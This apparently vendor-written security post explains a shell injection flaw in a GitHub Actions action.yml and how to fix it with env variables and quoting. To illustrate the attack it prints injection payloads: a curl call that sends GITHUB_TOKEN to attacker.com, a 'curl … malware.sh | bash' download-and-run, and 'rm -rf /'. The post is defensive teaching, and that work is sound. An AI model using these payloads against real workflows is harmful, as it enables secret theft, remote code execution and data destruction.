How Shell Injection Happens in GitHub Actions and How to Fix It
Introduction
In this GitHub Actions workflow configuration file, a high-severity shell injection vulnerability was discovered in action.yml at line 57. The vulnerability existed in the run: step where multiple user-controlled inputs were directly interpolated into a shell command using GitHub Actions' ${{ }} expression syntax:
- run: ${{ github.action_path }}/convert.sh ${{ inputs.file }} ${{ inputs.label }}
This pattern is deceptively simple but dangerous. While ${{ }} is GitHub's expression language, it doesn't protect against shell metacharacters in the values it evaluates. An attacker could craft a malicious value for inputs.file or inputs.label containing shell metacharacters like ;, |, $(), or backticks to inject arbitrary commands. This would execute on the GitHub runner with full access to the runner's environment, including any secrets configured for the workflow.
The Vulnerability Explained
The Vulnerable Pattern
The vulnerable code in action.yml:57 looked like this:
- run: ${{ github.action_path }}/convert.sh ${{ inputs.file }} ${{ inputs.label }}
env:
ORIENTATION: ${{ inputs.orientation }}
ARROW_DIRECTION: ${{ inputs.arrow-direction }}
ARROW_LENGTH: ${{ inputs.arrow-length }}
The problem is that inputs.file and inputs.label are user-controlled values—they come from whoever invokes this action. These values are directly embedded into the shell command string without any quoting or escaping.
Why This Is Dangerous
When the GitHub runner executes this step, the shell (bash) interprets the entire command line. If an attacker provides a value like:
inputs.file = "document.txt; curl https://attacker.com/steal?secret=${{ secrets.GITHUB_TOKEN }}"
The resulting command becomes:
/path/to/convert.sh document.txt; curl https://attacker.com/steal?secret=ghp_xxxxxxxxxxxx /path/to/convert.sh
The semicolon terminates the legitimate command, and the curl command executes with access to the runner's environment and secrets. The attacker has successfully stolen the GitHub token.
Real-World Attack Scenario
Imagine this action is used in a workflow that processes pull requests. An attacker opens a PR where the action is triggered, passing a malicious file parameter:
file: "README.md; rm -rf /; echo"
Or more subtly, using command substitution:
file: "$(curl http://attacker.com/malware.sh | bash)"
The runner would execute this injected code with the permissions of the GitHub Actions runner, potentially:
- Stealing secrets and credentials
- Modifying repository contents
- Exfiltrating source code
- Compromising the CI/CD pipeline for downstream attacks
The Fix
The fix involves three key changes to safely handle untrusted input:
- Move inputs to environment variables using the
env:section - Quote environment variable references with double quotes to prevent word splitting and globbing
- Pin action versions to commit SHAs for additional supply chain security (bonus hardening)
Before (Vulnerable)
- run: ${{ github.action_path }}/convert.sh ${{ inputs.file }} ${{ inputs.label }}
env:
ORIENTATION: ${{ inputs.orientation }}
ARROW_DIRECTION: ${{ inputs.arrow-direction }}
ARROW_LENGTH: ${{ inputs.arrow-length }}
After (Fixed)
- run: "$ACTION_PATH/convert.sh \"$FILE\" \"$LABEL\""
env:
ACTION_PATH: ${{ github.action_path }}
FILE: ${{ inputs.file }}
LABEL: ${{ inputs.label }}
ORIENTATION: ${{ inputs.orientation }}
ARROW_DIRECTION: ${{ inputs.arrow-direction }}
ARROW_LENGTH: ${{ inputs.arrow-length }}
Why This Fix Works
-
Environment variables are not interpreted by the shell: When you set
FILE: ${{ inputs.file }}, the GitHub Actions runtime evaluates${{ inputs.file }}and passes the literal string value to the environment. The shell doesn't re-interpret it. -
Double quotes prevent word splitting and special character interpretation: By wrapping
"$FILE"in double quotes, the shell treats the entire value as a single argument, even if it contains spaces or special characters. The value is passed literally to the script. -
Escaping inner quotes: When passing the variable to the script as an argument, we escape the quotes:
\"$FILE\". This ensures that if the value itself contains quotes, they're handled correctly. -
Action path is now also protected: By moving
${{ github.action_path }}to an environment variableACTION_PATHand referencing it as"$ACTION_PATH", we prevent potential path traversal or injection through the action path itself.
Testing the Fix
With the fix in place, even if an attacker provides:
FILE = "document.txt; curl https://attacker.com/steal"
The shell receives:
/path/to/convert.sh "document.txt; curl https://attacker.com/steal" "label"
The entire string—including the semicolon and curl command—is passed as a single argument to convert.sh. The script receives the literal string document.txt; curl https://attacker.com/steal as the filename, which likely doesn't exist, and the injection fails safely.
Prevention & Best Practices
1. Never Interpolate User Input Directly into run: Commands
This is the golden rule. Any value that comes from:
- inputs.* (action inputs)
- github.event.* (webhook events)
- secrets.* (though these shouldn't be user-controlled)
- External APIs or user-provided data
...should be treated as untrusted and passed through environment variables.
2. Always Quote Environment Variables in Shell Scripts
When referencing an environment variable in a shell command, always use double quotes:
# Good
"$VARIABLE"
# Bad
$VARIABLE
This prevents word splitting and glob expansion.
3. Escape Quotes in Arguments
If you're passing quoted environment variables as arguments, escape the inner quotes:
# Good
"$SCRIPT" "$ARG1" "$ARG2"
# Also good (if the script expects quoted arguments)
"$SCRIPT" \"$ARG1\" \"$ARG2\"
4. Use Static Analysis Tools
Use Semgrep or similar static analysis tools to detect this pattern automatically:
semgrep --config=p/github-actions action.yml
Semgrep rule yaml.github-actions.security.run-shell-injection.run-shell-injection specifically detects this vulnerability pattern.
5. Pin Action Versions to Commit SHAs
As a bonus hardening measure, the fix also updated action version references:
# Before
- uses: actions/setup-node@v4
# After
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
This prevents supply chain attacks where a major version tag could be updated with malicious code.
6. Review GitHub Actions Security Documentation
GitHub provides excellent guidance on this topic. Always review:
- GitHub Actions security best practices
- GitHub Actions contexts documentation
- The principle of least privilege for secrets and permissions
Key Takeaways
-
Never directly interpolate
${{ }}expressions containing user input intorun:commands—the${{ }}syntax doesn't prevent shell injection. -
Environment variables are the safe transport mechanism—moving untrusted data to
env:and referencing it in the shell command prevents interpretation of shell metacharacters. -
Quoting matters—
"$VAR"is safe;$VARis not. Always quote environment variable references in shell commands. -
The
github.action_pathcontext is also untrusted—treat it like any other potentially dangerous input and move it to an environment variable. -
Static analysis catches this pattern—Semgrep and similar tools can automatically detect and flag shell injection vulnerabilities in GitHub Actions workflows before they reach production.
How Orbis AppSec Detected This
Source: GitHub Actions context variables (github.action_path, inputs.file, inputs.label) in action.yml
Sink: Direct interpolation in the run: command at line 57 where ${{ github.action_path }}/convert.sh ${{ inputs.file }} ${{ inputs.label }} is executed
Missing control: No environment variable indirection; no quoting of interpolated values; direct shell command execution with untrusted input
CWE: CWE-94 (Improper Control of Generation of Code), CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Fix: Moved all untrusted inputs to environment variables in the env: section and referenced them with proper quoting in the run: command: "$ACTION_PATH/convert.sh \"$FILE\" \"$LABEL\""
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Shell injection vulnerabilities in GitHub Actions workflows are particularly dangerous because they execute with access to the runner's full environment, including secrets and credentials. The fix is straightforward: treat all user-controlled input as untrusted, move it to environment variables, and reference those variables with proper quoting in your shell commands.
This is a defensive hardening measure that removes an "exploit primitive"—a code pattern that, while not independently exploitable in all contexts, could be chained with other weaknesses by automated exploit-development tools. By proactively removing such patterns, teams raise the bar against increasingly capable automated attack tools.
The change preserves all legitimate behavior while eliminating the injection vector. If you maintain GitHub Actions workflows, review them for this pattern and apply the same fix: environment variables + proper quoting = secure shell commands.
References
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- GitHub Actions Security Hardening Documentation
- GitHub Actions Contexts Documentation
- OWASP Command Injection
- Semgrep: GitHub Actions Security Rules
- harden: using variable interpolation `${{ in action.yml...